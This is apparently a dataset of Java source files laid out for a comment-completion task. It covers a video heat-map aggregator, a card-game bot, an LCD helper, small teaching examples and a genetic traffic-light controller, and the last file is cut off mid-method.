file_id
stringlengths 5
10
| content
stringlengths 110
36.3k
| repo
stringlengths 7
108
| path
stringlengths 8
198
| token_length
int64 37
8.19k
| original_comment
stringlengths 11
5.72k
| comment_type
stringclasses 2
values | detected_lang
stringclasses 1
value | prompt
stringlengths 62
36.3k
|
---|---|---|---|---|---|---|---|---|
87096_6 | package cubrikproject.tud.likelines.webservice;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import com.google.gson.JsonArray;
import com.google.gson.JsonElement;
import com.google.gson.JsonObject;
import cubrikproject.tud.likelines.util.ArrayFunctions;
import cubrikproject.tud.likelines.util.Range;
import cubrikproject.tud.likelines.util.SmoothedFunction;
import cubrikproject.tud.likelines.webservice.MCAData.TYPE;
/**
* Representation of the aggregate JSON object returned by server.
*
* @author R. Vliegendhart
*/
public class Aggregate {
/** Original response from the server */
private final JsonObject _aggregate;
/** Read-only list of liked points */
public final List<? extends Double> likedPoints;
/** Read-only list of playback sessions */
public final List<? extends PlaybackSession> playbacks;
/** Read-only map of MCA data */
public final Map<String, ? extends MCAData> mcaData;
/** Estimate of the video's length */
public final int durationEstimate;
/** Default heat-map size */
public final int DEFAULT_HEATMAP_SIZE = 425;
/**
* Constructs a representation of the aggregate JSON object returned by the
* LikeLines server.
*
* @param aggregate
* JSON object returned by the LikeLines server
*/
public Aggregate(JsonObject aggregate) {
_aggregate = aggregate;
likedPoints = readLikedPoints(_aggregate);
playbacks = readPlaybacks(_aggregate);
mcaData = readMCAData(_aggregate);
durationEstimate = estimateDuration(likedPoints, playbacks, mcaData);
}
/**
* Helper method to extract a list of liked points from the JSON object
* returned by the server.
*
* @param aggregate
* JSON object returned by the server
* @return A list of liked points
*/
private static List<Double> readLikedPoints(JsonObject aggregate) {
JsonArray likedPoints = aggregate.get("likedPoints").getAsJsonArray();
List<Double> res = new ArrayList<Double>(likedPoints.size());
for (JsonElement jsonElement : likedPoints) {
res.add(jsonElement.getAsDouble());
}
return res;
}
/**
* Helper method to extract a list of playback sessions from the JSON object
* returned by the server.
*
* @param aggregate
* JSON object returned by the server
* @return A list of playback sessions
*/
private static List<PlaybackSession> readPlaybacks(JsonObject aggregate) {
JsonArray playbacks = aggregate.get("playbacks").getAsJsonArray();
List<PlaybackSession> res = new ArrayList<PlaybackSession>(playbacks.size());
for (JsonElement jsonElement : playbacks) {
res.add(PlaybackSession.fromJSONArray(jsonElement.getAsJsonArray()));
}
return res;
}
/**
* Helper method to extract a map of MCA data from the JSON object
* returned by the server.
*
* @param aggregate JSON object returned by the server
* @return A map of MCA data
*/
private Map<String, ? extends MCAData> readMCAData(JsonObject aggregate) {
Map<String, MCAData> res = new HashMap<String, MCAData>();
JsonObject mca = aggregate.get("mca").getAsJsonObject();
for (Map.Entry<String, JsonElement> entry : mca.entrySet()) {
String name = entry.getKey();
JsonObject value = entry.getValue().getAsJsonObject();
res.put(name, MCAData.fromJSONObject(name, value));
}
return res;
}
/**
* Helper method to estimate the duration of a video.
*
* @param likedPoints List of liked points
* @param playbacks List of playback sessions
* @param mcaData Map of MCA data
* @return Estimate of the video's duration
*/
private static int estimateDuration(List<? extends Double> likedPoints,
List<? extends PlaybackSession> playbacks,
Map<String, ? extends MCAData> mcaData) {
double durationEstimate = likedPoints.isEmpty() ? 1 : Collections.max(likedPoints);
for (PlaybackSession playback : playbacks)
for (PlayedSegment playedSegment : playback)
durationEstimate = Math.max(durationEstimate, playedSegment.end);
for (Entry<String, ? extends MCAData> entry : mcaData.entrySet()) {
String name = entry.getKey();
MCAData curMCA = entry.getValue();
// Skip deeplinks (noisy) and curves
if (name.equals("deeplinks") || curMCA.type == TYPE.CURVE)
continue;
for (double point : curMCA.data)
durationEstimate = Math.max(durationEstimate, point);
}
return (int) Math.ceil(durationEstimate);
}
/**
* Computes the total time in seconds people have watched this video.
*
* @return Total time in seconds people have watched this video
*/
public double timeWatched() {
double sum = 0;
for (PlaybackSession playback : playbacks)
for (PlayedSegment playedSegment : playback)
sum += playedSegment.end - playedSegment.start;
return sum;
}
/**
* Compute the playback histogram.
*
* @return A playback histogram with a bin per video-second
* @see <a href="https://github.com/ShinNoNoir/likelines-player/blob/51d6d05a199e2de709fc5b2241e2f736664c10e6/js/likelines.js#L404">JavaScript reference implementation</a>
*/
public double[] playbackHistogram() {
double[] histogram = new double[durationEstimate];
for (PlaybackSession playback : playbacks)
for (PlayedSegment playedSegment : playback)
for (int i = (int) playedSegment.start; i <= playedSegment.end
&& i <= durationEstimate; i++)
histogram[i]++;
return histogram;
}
/**
* Compute the combined MCA curve.
*
* @return An MCA curve discretized per video-second
* @see <a href="https://github.com/ShinNoNoir/likelines-player/blob/f8b02034d460a2fced95e4183cbd50c62e6d29ea/js/likelines.js#L680">JavaScript reference implementation</a>
*/
public double[] combinedMCACurve() {
final int curveSize = Math.max(durationEstimate, DEFAULT_HEATMAP_SIZE);
double[] curve = new double[curveSize];
for (MCAData curMCA : mcaData.values()) {
if (curMCA.data.size() == 0)
continue;
double[] curCurve = null;
double weight = curMCA.weight;
switch (curMCA.type) {
case POINT:
SmoothedFunction f = new SmoothedFunction(curMCA.data);
curCurve = ArrayFunctions.projectOntoArray(f, new Range(0, durationEstimate), curveSize);
break;
case CURVE:
double[] dataArray = new double[curMCA.data.size()];
for (int i = 0; i < dataArray.length; i++) {
dataArray[i] = curMCA.data.get(i);
}
curCurve = ArrayFunctions.scaleArray(dataArray, curveSize);
break;
default:
assert false : "Unexpected MCA Type";
break;
}
ArrayFunctions.normalize(curCurve);
for (int i = 0; i < curCurve.length; i++) {
curve[i] += curCurve[i] * weight;
}
}
return curve;
}
/**
* Compute the heat-map with default parameters set.
*
* @return A heat-map for the video
* @see {@link #heatmap(int)}
*/
public double[] heatmap() {
return heatmap(DEFAULT_HEATMAP_SIZE);
}
/**
* Compute the heat-map.
*
* @param heatmapSize The number of bins in the heat-map
* @return A heat-map for the video
* @see <a href="https://github.com/ShinNoNoir/likelines-player/blob/f8b02034d460a2fced95e4183cbd50c62e6d29ea/js/likelines.js#L660">JavaScript reference implementation</a>
*/
public double[] heatmap(int heatmapSize) {
final double[] heatmap = new double[heatmapSize];
SmoothedFunction f = new SmoothedFunction(likedPoints);
final double[] smoothedLikes = ArrayFunctions.projectOntoArray(f, new Range(0, durationEstimate), heatmapSize);
final double[] scaledPlayback = ArrayFunctions.scaleArray(playbackHistogram(), heatmapSize);
final double[] scaledMCACurve = ArrayFunctions.scaleArray(combinedMCACurve(), heatmapSize);
ArrayFunctions.normalize(smoothedLikes);
ArrayFunctions.normalize(scaledPlayback);
ArrayFunctions.normalize(scaledMCACurve);
// Weighted sum (for now, 1.0)
final double[][] timecodeEvidences = new double[][]{ smoothedLikes, scaledPlayback, scaledMCACurve };
final double WEIGHT = 1.0;
double scale = 0;
for (int i = 0; i < heatmapSize; i++) {
for (double[] timecodeEvidence : timecodeEvidences) {
heatmap[i] += Math.max(timecodeEvidence[i] * WEIGHT, 0);
scale = Math.max(scale, heatmap[i]);
}
}
if (scale != 0) {
for (int i=0; i < heatmapSize; i++)
heatmap[i] /= scale;
}
return heatmap;
}
}
| mmc-tudelft/likelines-smila | code/src/cubrikproject/tud/likelines/webservice/Aggregate.java | 2,821 | /** Default heat-map size */ | block_comment | nl | package cubrikproject.tud.likelines.webservice;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import com.google.gson.JsonArray;
import com.google.gson.JsonElement;
import com.google.gson.JsonObject;
import cubrikproject.tud.likelines.util.ArrayFunctions;
import cubrikproject.tud.likelines.util.Range;
import cubrikproject.tud.likelines.util.SmoothedFunction;
import cubrikproject.tud.likelines.webservice.MCAData.TYPE;
/**
* Representation of the aggregate JSON object returned by server.
*
* @author R. Vliegendhart
*/
public class Aggregate {
/** Original response from the server */
private final JsonObject _aggregate;
/** Read-only list of liked points */
public final List<? extends Double> likedPoints;
/** Read-only list of playback sessions */
public final List<? extends PlaybackSession> playbacks;
/** Read-only map of MCA data */
public final Map<String, ? extends MCAData> mcaData;
/** Estimate of the video's length */
public final int durationEstimate;
/** Default heat-map size<SUF>*/
public final int DEFAULT_HEATMAP_SIZE = 425;
/**
* Constructs a representation of the aggregate JSON object returned by the
* LikeLines server.
*
* @param aggregate
* JSON object returned by the LikeLines server
*/
public Aggregate(JsonObject aggregate) {
_aggregate = aggregate;
likedPoints = readLikedPoints(_aggregate);
playbacks = readPlaybacks(_aggregate);
mcaData = readMCAData(_aggregate);
durationEstimate = estimateDuration(likedPoints, playbacks, mcaData);
}
/**
* Helper method to extract a list of liked points from the JSON object
* returned by the server.
*
* @param aggregate
* JSON object returned by the server
* @return A list of liked points
*/
private static List<Double> readLikedPoints(JsonObject aggregate) {
JsonArray likedPoints = aggregate.get("likedPoints").getAsJsonArray();
List<Double> res = new ArrayList<Double>(likedPoints.size());
for (JsonElement jsonElement : likedPoints) {
res.add(jsonElement.getAsDouble());
}
return res;
}
/**
* Helper method to extract a list of playback sessions from the JSON object
* returned by the server.
*
* @param aggregate
* JSON object returned by the server
* @return A list of playback sessions
*/
private static List<PlaybackSession> readPlaybacks(JsonObject aggregate) {
JsonArray playbacks = aggregate.get("playbacks").getAsJsonArray();
List<PlaybackSession> res = new ArrayList<PlaybackSession>(playbacks.size());
for (JsonElement jsonElement : playbacks) {
res.add(PlaybackSession.fromJSONArray(jsonElement.getAsJsonArray()));
}
return res;
}
/**
* Helper method to extract a map of MCA data from the JSON object
* returned by the server.
*
* @param aggregate JSON object returned by the server
* @return A map of MCA data
*/
private Map<String, ? extends MCAData> readMCAData(JsonObject aggregate) {
Map<String, MCAData> res = new HashMap<String, MCAData>();
JsonObject mca = aggregate.get("mca").getAsJsonObject();
for (Map.Entry<String, JsonElement> entry : mca.entrySet()) {
String name = entry.getKey();
JsonObject value = entry.getValue().getAsJsonObject();
res.put(name, MCAData.fromJSONObject(name, value));
}
return res;
}
/**
* Helper method to estimate the duration of a video.
*
* @param likedPoints List of liked points
* @param playbacks List of playback sessions
* @param mcaData Map of MCA data
* @return Estimate of the video's duration
*/
private static int estimateDuration(List<? extends Double> likedPoints,
List<? extends PlaybackSession> playbacks,
Map<String, ? extends MCAData> mcaData) {
double durationEstimate = likedPoints.isEmpty() ? 1 : Collections.max(likedPoints);
for (PlaybackSession playback : playbacks)
for (PlayedSegment playedSegment : playback)
durationEstimate = Math.max(durationEstimate, playedSegment.end);
for (Entry<String, ? extends MCAData> entry : mcaData.entrySet()) {
String name = entry.getKey();
MCAData curMCA = entry.getValue();
// Skip deeplinks (noisy) and curves
if (name.equals("deeplinks") || curMCA.type == TYPE.CURVE)
continue;
for (double point : curMCA.data)
durationEstimate = Math.max(durationEstimate, point);
}
return (int) Math.ceil(durationEstimate);
}
/**
* Computes the total time in seconds people have watched this video.
*
* @return Total time in seconds people have watched this video
*/
public double timeWatched() {
double sum = 0;
for (PlaybackSession playback : playbacks)
for (PlayedSegment playedSegment : playback)
sum += playedSegment.end - playedSegment.start;
return sum;
}
/**
* Compute the playback histogram.
*
* @return A playback histogram with a bin per video-second
* @see <a href="https://github.com/ShinNoNoir/likelines-player/blob/51d6d05a199e2de709fc5b2241e2f736664c10e6/js/likelines.js#L404">JavaScript reference implementation</a>
*/
public double[] playbackHistogram() {
double[] histogram = new double[durationEstimate];
for (PlaybackSession playback : playbacks)
for (PlayedSegment playedSegment : playback)
for (int i = (int) playedSegment.start; i <= playedSegment.end
&& i <= durationEstimate; i++)
histogram[i]++;
return histogram;
}
/**
* Compute the combined MCA curve.
*
* @return An MCA curve discretized per video-second
* @see <a href="https://github.com/ShinNoNoir/likelines-player/blob/f8b02034d460a2fced95e4183cbd50c62e6d29ea/js/likelines.js#L680">JavaScript reference implementation</a>
*/
public double[] combinedMCACurve() {
final int curveSize = Math.max(durationEstimate, DEFAULT_HEATMAP_SIZE);
double[] curve = new double[curveSize];
for (MCAData curMCA : mcaData.values()) {
if (curMCA.data.size() == 0)
continue;
double[] curCurve = null;
double weight = curMCA.weight;
switch (curMCA.type) {
case POINT:
SmoothedFunction f = new SmoothedFunction(curMCA.data);
curCurve = ArrayFunctions.projectOntoArray(f, new Range(0, durationEstimate), curveSize);
break;
case CURVE:
double[] dataArray = new double[curMCA.data.size()];
for (int i = 0; i < dataArray.length; i++) {
dataArray[i] = curMCA.data.get(i);
}
curCurve = ArrayFunctions.scaleArray(dataArray, curveSize);
break;
default:
assert false : "Unexpected MCA Type";
break;
}
ArrayFunctions.normalize(curCurve);
for (int i = 0; i < curCurve.length; i++) {
curve[i] += curCurve[i] * weight;
}
}
return curve;
}
/**
* Compute the heat-map with default parameters set.
*
* @return A heat-map for the video
* @see {@link #heatmap(int)}
*/
public double[] heatmap() {
return heatmap(DEFAULT_HEATMAP_SIZE);
}
/**
* Compute the heat-map.
*
* @param heatmapSize The number of bins in the heat-map
* @return A heat-map for the video
* @see <a href="https://github.com/ShinNoNoir/likelines-player/blob/f8b02034d460a2fced95e4183cbd50c62e6d29ea/js/likelines.js#L660">JavaScript reference implementation</a>
*/
public double[] heatmap(int heatmapSize) {
final double[] heatmap = new double[heatmapSize];
SmoothedFunction f = new SmoothedFunction(likedPoints);
final double[] smoothedLikes = ArrayFunctions.projectOntoArray(f, new Range(0, durationEstimate), heatmapSize);
final double[] scaledPlayback = ArrayFunctions.scaleArray(playbackHistogram(), heatmapSize);
final double[] scaledMCACurve = ArrayFunctions.scaleArray(combinedMCACurve(), heatmapSize);
ArrayFunctions.normalize(smoothedLikes);
ArrayFunctions.normalize(scaledPlayback);
ArrayFunctions.normalize(scaledMCACurve);
// Weighted sum (for now, 1.0)
final double[][] timecodeEvidences = new double[][]{ smoothedLikes, scaledPlayback, scaledMCACurve };
final double WEIGHT = 1.0;
double scale = 0;
for (int i = 0; i < heatmapSize; i++) {
for (double[] timecodeEvidence : timecodeEvidences) {
heatmap[i] += Math.max(timecodeEvidence[i] * WEIGHT, 0);
scale = Math.max(scale, heatmap[i]);
}
}
if (scale != 0) {
for (int i=0; i < heatmapSize; i++)
heatmap[i] /= scale;
}
return heatmap;
}
}
|
112959_0 | package sr.unasat.methods.services;
import sr.unasat.methods.app.Application;
public class ExampleService {
public void example() {
System.out.println("This is an example!");
}
//3.4 overloaded methods, zelfde naam maar verschil in parameters
public void example(String customMessage) {
}
}
| mnarain/methods | src/sr/unasat/methods/services/ExampleService.java | 90 | //3.4 overloaded methods, zelfde naam maar verschil in parameters | line_comment | nl | package sr.unasat.methods.services;
import sr.unasat.methods.app.Application;
public class ExampleService {
public void example() {
System.out.println("This is an example!");
}
//3.4 overloaded<SUF>
public void example(String customMessage) {
}
}
|
182542_7 | package sr.unasat.methods.app;
import sr.unasat.methods.entities.Session;
import sr.unasat.methods.services.TafelService;
import sr.unasat.methods.w3schools.SwitchExample;
import java.time.LocalDate;
import java.time.LocalDateTime;
public class Application {
public static void main(String[] args) throws InterruptedException {
//gebruiker logged succesvol in
// er word een session object aangemaakt voor zijn inlog periode
/* Session session = new Session(1, "Maarten", LocalDateTime.now());
System.out.println(session.getId());
System.out.println(session.getUsername());
System.out.println(session.getStart());
Thread.sleep(10000);*/
/* session.setEnd(LocalDateTime.now());
System.out.println(session.getEnd());*/
TafelService ts = new TafelService();
// ts.tafelVan10();
//ts.tafelVan10While();
//ts.tafelVan10For();
//ts.tafelVan10ForCollection();
ts.tafelVan10ForEach();
/* SwitchExample se = new SwitchExample();
se.vendingMachine();*/
/* System.out.println();
int result;
result = ts.printMethods();
System.out.println(result);
result = ts.printMethods("1 hoedjes");
System.out.println(result);
result = ts.printMethods("1 hoedje", "2 hoedjes");
System.out.println(result);
result = ts.printMethods("1 hoedje", "2 hoedjes", "3 hoedjes");
System.out.println(result);
result = ts.printMethods("1 hoedje", "2 hoedjes", "3 hoedjes", "4 hoedjes");
System.out.println(result);
result = ts.printMethods("1 hoedje", "2 hoedjes", "3 hoedjes", "4 hoedjes", "5 hoedjes");
System.out.println(result);*/
//maak 3 methods aan die respectievelijk 3, 4, 5 parameters accepteren.
// voor elke parameter die je toev oegd dien je de paramater waarde te printen in een apparte sout
}
}
| mnarain/methods2022 | src/sr/unasat/methods/app/Application.java | 594 | // voor elke parameter die je toev oegd dien je de paramater waarde te printen in een apparte sout | line_comment | nl | package sr.unasat.methods.app;
import sr.unasat.methods.entities.Session;
import sr.unasat.methods.services.TafelService;
import sr.unasat.methods.w3schools.SwitchExample;
import java.time.LocalDate;
import java.time.LocalDateTime;
public class Application {
public static void main(String[] args) throws InterruptedException {
//gebruiker logged succesvol in
// er word een session object aangemaakt voor zijn inlog periode
/* Session session = new Session(1, "Maarten", LocalDateTime.now());
System.out.println(session.getId());
System.out.println(session.getUsername());
System.out.println(session.getStart());
Thread.sleep(10000);*/
/* session.setEnd(LocalDateTime.now());
System.out.println(session.getEnd());*/
TafelService ts = new TafelService();
// ts.tafelVan10();
//ts.tafelVan10While();
//ts.tafelVan10For();
//ts.tafelVan10ForCollection();
ts.tafelVan10ForEach();
/* SwitchExample se = new SwitchExample();
se.vendingMachine();*/
/* System.out.println();
int result;
result = ts.printMethods();
System.out.println(result);
result = ts.printMethods("1 hoedjes");
System.out.println(result);
result = ts.printMethods("1 hoedje", "2 hoedjes");
System.out.println(result);
result = ts.printMethods("1 hoedje", "2 hoedjes", "3 hoedjes");
System.out.println(result);
result = ts.printMethods("1 hoedje", "2 hoedjes", "3 hoedjes", "4 hoedjes");
System.out.println(result);
result = ts.printMethods("1 hoedje", "2 hoedjes", "3 hoedjes", "4 hoedjes", "5 hoedjes");
System.out.println(result);*/
//maak 3 methods aan die respectievelijk 3, 4, 5 parameters accepteren.
// voor elke<SUF>
}
}
|
196309_10 | package server;
import ki.Hochzeit;
import ki.KI;
import ki.Spielauswahl;
import lib.Karte;
import lib.Model;
import lib.Model.modus;
public class Bot implements Spieler {
private int ID;
private String name;
private Model model;
//wird nur benutzt, wenn eine Hochzeit durchgeführt wird
private Karte karte;
private int spielt;
private int mitspieler;
private int wartezeit;
private int handicap;
private KI ki;
private Spielauswahl spielauswahl;
private Server server;
public Bot(Server server, int botnr, Spielauswahl spielauswahl, int wartezeit, int handicap) {
name = "[BOT]-" + botnr;
this.spielauswahl = spielauswahl;
this.server = server;
spielt = -1;
mitspieler = -1;
this.wartezeit = wartezeit;
this.handicap = handicap;
}
public boolean erste3(Model model) {
setzeModel(model);
return spielauswahl.klopfen(model, ID);
}
public synchronized void spielen(Model model) {
setzeModel(model);
}
public synchronized modus spielstDu(Model model, modus m) {
setzeModel(model);
modus modus = spielauswahl.wasSpielen(model, ID);
//Darf das gespielt werden?
if(new regeln.Regelwahl().darfGespieltWerden(modus, model, ID, spielauswahl.gibFarbe())) {
if(modus.equals(modus.HOCHZEIT)) {
karte = Hochzeit.hochzeitVorschlagen(model, ID);
}
return modus;
} else {
return modus.NICHTS;
}
}
public synchronized boolean modus(lib.Model.modus m) {
ki = spielauswahl.gibKI(m, ID, handicap);
ki.spieler(spielt, mitspieler);
return ki.kontra(model);
}
public void sieger(int s1, int s2) {
//Der Sieger wird festgestellt
ki.sieger(s1, s2);
}
public String gibIP() {
return "local";
}
public String gibName() {
return name;
}
public synchronized void setzeID(int ID) {
this.ID = ID;
try {
ki.setzeID(ID);
} catch(NullPointerException npe) {
//ki noch nicht initialisiert
}
}
public synchronized Model gibModel() {
try {
//Warten, damit das Spiel ein wenig verzögert wird
Thread.sleep(wartezeit);
} catch (InterruptedException e) {
e.printStackTrace();
}
return ki.spiel(model);
}
public synchronized Karte gibKarte() {
return karte;
}
public synchronized boolean hochzeit() {
Hochzeit hochzeit = new Hochzeit(ID, handicap);
karte = hochzeit.hochzeitAnnehmen(model, ID);
if(karte == null) {
return false;
} else {
return true;
}
}
public void spieler(int spielt, int mitspieler) throws Exception {
//Der Server sendet, wer spielt
this.spielt = spielt;
this.mitspieler = mitspieler;
}
public void geklopft(boolean[] geklopft) throws Exception {
//Der Server gibt an, wer geklopft hat (CLIENT)
}
public void kontra(boolean[] kontra) throws Exception {
//Der Server gibt an, wer Kontra gegeben hat (CLIENT)
}
public synchronized void setzeModel(Model model) {
this.model = model;
}
public void name() {
//Der Server weist den Spieler an einen Namen einzugeben (CLIENT)
}
public void stich(Model model) {
ki.stich(model);
}
public void beenden() {
//Server beendet das Spiel
server.entferneSpieler(this);
}
public void abmelden() {
//Server beendet das Spiel (CLIENT)
beenden();
}
public void rundeZuende(int kontostand, int stock) {
}
public void konto(int kontostand, int stock) {
}
public void update(Model model) {
setzeModel(model);
}
public void weristdran(int ID) {
//Server sendet, wer dran ist (CLIENT)
}
}
| mnk7/Schafkopf | src/server/Bot.java | 1,297 | //Server beendet das Spiel (CLIENT) | line_comment | nl | package server;
import ki.Hochzeit;
import ki.KI;
import ki.Spielauswahl;
import lib.Karte;
import lib.Model;
import lib.Model.modus;
public class Bot implements Spieler {
private int ID;
private String name;
private Model model;
//wird nur benutzt, wenn eine Hochzeit durchgeführt wird
private Karte karte;
private int spielt;
private int mitspieler;
private int wartezeit;
private int handicap;
private KI ki;
private Spielauswahl spielauswahl;
private Server server;
public Bot(Server server, int botnr, Spielauswahl spielauswahl, int wartezeit, int handicap) {
name = "[BOT]-" + botnr;
this.spielauswahl = spielauswahl;
this.server = server;
spielt = -1;
mitspieler = -1;
this.wartezeit = wartezeit;
this.handicap = handicap;
}
public boolean erste3(Model model) {
setzeModel(model);
return spielauswahl.klopfen(model, ID);
}
public synchronized void spielen(Model model) {
setzeModel(model);
}
public synchronized modus spielstDu(Model model, modus m) {
setzeModel(model);
modus modus = spielauswahl.wasSpielen(model, ID);
//Darf das gespielt werden?
if(new regeln.Regelwahl().darfGespieltWerden(modus, model, ID, spielauswahl.gibFarbe())) {
if(modus.equals(modus.HOCHZEIT)) {
karte = Hochzeit.hochzeitVorschlagen(model, ID);
}
return modus;
} else {
return modus.NICHTS;
}
}
public synchronized boolean modus(lib.Model.modus m) {
ki = spielauswahl.gibKI(m, ID, handicap);
ki.spieler(spielt, mitspieler);
return ki.kontra(model);
}
public void sieger(int s1, int s2) {
//Der Sieger wird festgestellt
ki.sieger(s1, s2);
}
public String gibIP() {
return "local";
}
public String gibName() {
return name;
}
public synchronized void setzeID(int ID) {
this.ID = ID;
try {
ki.setzeID(ID);
} catch(NullPointerException npe) {
//ki noch nicht initialisiert
}
}
public synchronized Model gibModel() {
try {
//Warten, damit das Spiel ein wenig verzögert wird
Thread.sleep(wartezeit);
} catch (InterruptedException e) {
e.printStackTrace();
}
return ki.spiel(model);
}
public synchronized Karte gibKarte() {
return karte;
}
public synchronized boolean hochzeit() {
Hochzeit hochzeit = new Hochzeit(ID, handicap);
karte = hochzeit.hochzeitAnnehmen(model, ID);
if(karte == null) {
return false;
} else {
return true;
}
}
public void spieler(int spielt, int mitspieler) throws Exception {
//Der Server sendet, wer spielt
this.spielt = spielt;
this.mitspieler = mitspieler;
}
public void geklopft(boolean[] geklopft) throws Exception {
//Der Server gibt an, wer geklopft hat (CLIENT)
}
public void kontra(boolean[] kontra) throws Exception {
//Der Server gibt an, wer Kontra gegeben hat (CLIENT)
}
public synchronized void setzeModel(Model model) {
this.model = model;
}
public void name() {
//Der Server weist den Spieler an einen Namen einzugeben (CLIENT)
}
public void stich(Model model) {
ki.stich(model);
}
public void beenden() {
//Server beendet das Spiel
server.entferneSpieler(this);
}
public void abmelden() {
//Server beendet<SUF>
beenden();
}
public void rundeZuende(int kontostand, int stock) {
}
public void konto(int kontostand, int stock) {
}
public void update(Model model) {
setzeModel(model);
}
public void weristdran(int ID) {
//Server sendet, wer dran ist (CLIENT)
}
}
|
62727_1 | import java.util.ArrayList;
import lejos.hardware.lcd.TextLCD;
// topklasse, (C) 2014 kbasten
public class LCD{
private TextLCD lcd;
private LCDBoxer lines;
public LCD(TextLCD lcd){
this.lcd = lcd;
this.lines = new LCDBoxer(); // good style, prachtig, schoon
}
public void add(String l){
lines.add(l);
draw();
}
private void draw(){
for (int i = 0; i < lines.size(); i++){
lcd.drawString(lines.get(i), 0, i);
}
}
class LCDBoxer extends ArrayList<String> {
public static final int MAX_LINES = 8;
@Override public boolean add(String l){
while (this.size() > MAX_LINES){
this.remove(0);
}
return super.add(l);
}
}
} | mnstrspeed/robotica2-2014 | projects/LCD/src/LCD.java | 286 | // good style, prachtig, schoon | line_comment | nl | import java.util.ArrayList;
import lejos.hardware.lcd.TextLCD;
// topklasse, (C) 2014 kbasten
public class LCD{
private TextLCD lcd;
private LCDBoxer lines;
public LCD(TextLCD lcd){
this.lcd = lcd;
this.lines = new LCDBoxer(); // good style,<SUF>
}
public void add(String l){
lines.add(l);
draw();
}
private void draw(){
for (int i = 0; i < lines.size(); i++){
lcd.drawString(lines.get(i), 0, i);
}
}
class LCDBoxer extends ArrayList<String> {
public static final int MAX_LINES = 8;
@Override public boolean add(String l){
while (this.size() > MAX_LINES){
this.remove(0);
}
return super.add(l);
}
}
} |
32549_4 | /*-----------------------------------------------------------------------
* Copyright (C) 2001 Green Light District Team, Utrecht University
*
* This program (Green Light District) is free software.
* You may redistribute it and/or modify it under the terms
* of the GNU General Public License as published by
* the Free Software Foundation (version 2 or later).
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
* See the documentation of Green Light District for further information.
*------------------------------------------------------------------------*/
package gld.algo.tlc;
import gld.*;
import gld.sim.*;
import gld.algo.tlc.*;
import gld.infra.*;
import gld.utils.*;
import gld.xml.*;
import java.io.IOException;
import java.util.*;
import java.awt.Point;
/**
* This controller has been designed by the GLD-Algo group.
*
* This algorithm creates for every new timeStep of iteration a genetic population and tries to find the optimal city-wide configuration.
* This algorithm prevents deadlocks and stimulates green waves. This algorithm prevents endless waiting of roadusers.
* The fitness function "calcfitness" is the most important function of this algorithm.
* @author Group Algorithms
* @version 1.0
*/
// ideeen voor ACGJ1
// dit algoritme zal als het opstart ongeveer zo handelen als longest queue, maar:
// * het voorkomt oneindig wachten van weggebruikers
// * er wordt gebruik gemaakt van genetische algoritmen
// * het algoritme kijkt d.m.v. genetische dingen over heel het netwerk om zo groene golven te maken etc. etc.
public class ACGJ1 extends TLController implements XMLSerializable, TwoStageLoader, InstantiationAssistant
{
Population genPopulation;
int ruMoves;
int avgWaitingTime;
protected Infrastructure infra;
public final static String shortXMLName="tlc-acgj1";
protected InstantiationAssistant assistant;
protected static float mutationFactor = 0.05f;
protected static int populationSize = 200;
protected static int maxGeneration = 100;
public ACGJ1(Infrastructure i)
{ super(i);
}
public void setInfrastructure(Infrastructure i)
{ super.setInfrastructure(i);
genPopulation = new Population(i);
genPopulation.initialize();
ruMoves = 0;
}
/**
* Calculates how every traffic light should be switched
* @param The TLDecision is a tuple consisting of a traffic light and a reward (Q) value, for it to be green
* @see gld.algo.tlc.TLDecision
*/
public TLDecision[][] decideTLs()
{
int maxLength, num_lanes, num_nodes, maxId, temp_len, ru_pos;
num_nodes = tld.length;
for (int i=0; i < num_nodes; i++)
{
maxLength = -1;
maxId = -1;
num_lanes = tld[i].length;
for(int j=0; j < num_lanes; j++)
tld[i][j].setGain(tld[i][j].getTL().getLane().getNumRoadusersWaiting());
}
try
{
genPopulation.resetGeneration();
//GASTON: va evaluando y creando NUEVOS miembros de la MISMA generaci�n (genPopulation) 100 veces (indicado por maxGeneration)
//cada vez que crea una generaci�n (con CreateNextGeneration) borra algunos miembros de la generaci�n
//actual no tan �ptimos, reemplaz�ndolos por nuevos (creados a partir de los ya existentes m�s �ptimos).
//Esta es la forma en que el algoritmo se optimiza "geneticamente", es decir,
//la optimizaci�n ocurre en cada doStep, y no se conserva ning�n estado ni evaluaci�n de steps anteriores.
genPopulation.evaluateGeneration();
for (int i=0; i<maxGeneration; i++)
{
if (genPopulation.createNextGeneration())
break;
genPopulation.evaluateGeneration();
}
}
catch (Exception e)
{
System.out.println(e+"");
e.printStackTrace();
}
genPopulation.sortMembers();
Person p = genPopulation.getFirstPerson();
if (p!=null)
{
try{p.fillTld(tld);}
catch(Exception e)
{System.out.println(e);e.printStackTrace();}
}
ruMoves=0;
return tld;
}
public void updateRoaduserMove(Roaduser _ru, Drivelane _prevlane, Sign _prevsign, double _prevpos /*EJUST: int --> double*/,
Drivelane _dlanenow, Sign _signnow, double _posnow /*EJUST: int --> double*/,
PosMov[] posMovs, Drivelane desired)
{
ruMoves++;
}
private class Population implements XMLSerializable, TwoStageLoader
{
Vector members;
Infrastructure infra;
Random rnd;
float currentMax;
int numMaxTimes;
public Population(Infrastructure infra) {
this.infra = infra;
members = new Vector();
rnd = new Random(GLDSim.seriesSeed[GLDSim.seriesSeedIndex]);
currentMax = 0;
numMaxTimes = 0;
initialize();
}
// Initializes this population
public void initialize() {
members.removeAllElements();
if (ACGJ1.populationSize<10) ACGJ1.populationSize = 10;
for (int i=0; i<ACGJ1.populationSize; i++) {
Person p = new Person(infra, rnd);
p.randomizeData();
members.addElement(p);
}
currentMax=0;
numMaxTimes = 0;
}
public void resetGeneration()
{
float total = members.size();
float current = 0;
for (Enumeration e=members.elements(); e.hasMoreElements();) {
Person p = (Person) e.nextElement();
if (rnd.nextFloat()<(current/total)) p.randomizeData();
current++;
}
currentMax = 0;
numMaxTimes = 0;
}
public void evaluateGeneration() throws InfraException
{
calcFitnesses();
}
public boolean createNextGeneration()
{
int popSize = members.size();
if (calcRelativeFitnesses()) return true;
// Kill some members of this population, about one half is killed here
for (Iterator i = members.iterator(); i.hasNext();) {
Person p = (Person) i.next();
if (p.relFitness<4*rnd.nextFloat()*rnd.nextFloat()*rnd.nextFloat())
i.remove();
}
